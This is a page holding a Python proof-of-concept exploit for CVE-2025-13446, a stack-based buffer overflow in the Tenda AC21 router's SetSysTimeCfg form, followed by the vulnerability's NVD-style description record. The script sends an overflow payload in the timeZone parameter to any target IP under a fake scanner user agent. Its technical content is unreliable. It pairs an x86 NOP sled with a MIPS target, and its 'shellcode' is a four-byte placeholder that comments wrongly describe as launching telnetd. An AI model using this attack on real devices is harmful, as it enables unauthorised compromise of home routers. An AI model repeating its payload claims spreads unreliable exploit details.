CVE-2025-13446

import requests import sys def exploit_tenda_cve_2025_13446(target_ip, target_port=80): """ PoC for CVE-2025-13446 - Tenda AC21 SetSysTimeCfg Stack Overflow Vulnerability: Stack-based buffer overflow in /goform/SetSysTimeCfg Affected: Tenda AC21 firmware version 16.03.08.16 CVSS Score: 8.8 (High) Note: This PoC is for educational and security testing purposes only. """ url = f"http://{target_ip}:{target_port}/goform/SetSysTimeCfg" # Create payload with NOP sled + shellcode + return address # The overflow targets the timeZone parameter # Buffer size is typically around 128-256 bytes on embedded systems nop_sled = b'\x90' * 100 # Simple shellcode for MIPS - executes telnetd on port 12345 # This is a placeholder - actual shellcode should be crafted for target firmware shellcode = b'\x50\x45\x4c\x54' # PELT - NOP equivalent # Return address pointing to NOP sled (address should be adjusted for target) return_addr = b'\x44\x44\x44\x44' payload = nop_sled + shellcode + return_addr * 20 # Construct HTTP POST request data = { 'timeZone': payload.decode('latin-1'), 'time': '2025-01-01 12:00:00' } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (compatible; SecurityScanner/1.0)' } try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload size: {len(payload)} bytes") response = requests.post(url, data=data, headers=headers, timeout=10) print(f"[+] Response status: {response.status_code}") print(f"[+] Response length: {len(response.text)} bytes") # Check for signs of successful exploitation if response.status_code == 200 or len(response.text) < 50: print("[!] Possible successful exploitation - device may be compromised") else: print("[*] Exploit sent, check device manually") except requests.exceptions.Timeout: print("[!] Request timeout - device may have crashed or exploit succeeded") except requests.exceptions.ConnectionError: print("[!] Connection error - device may be down") except Exception as e: print(f"[!] Error: {str(e)}") if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_tenda_cve_2025_13446(target, port)

{"cve": {"id": "CVE-2025-13446", "sourceIdentifier": "[email protected]", "published": "2025-11-20T15:17:25.713", "lastModified": "2025-11-21T20:16:29.907", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been found in Tenda AC21 16.03.08.16. This vulnerability affects unknown code of the file /goform/SetSysTimeCfg. The manipulation of the argument timeZone/time leads to stack-based buffer overflow. The attack is possible to be carried out remotely. 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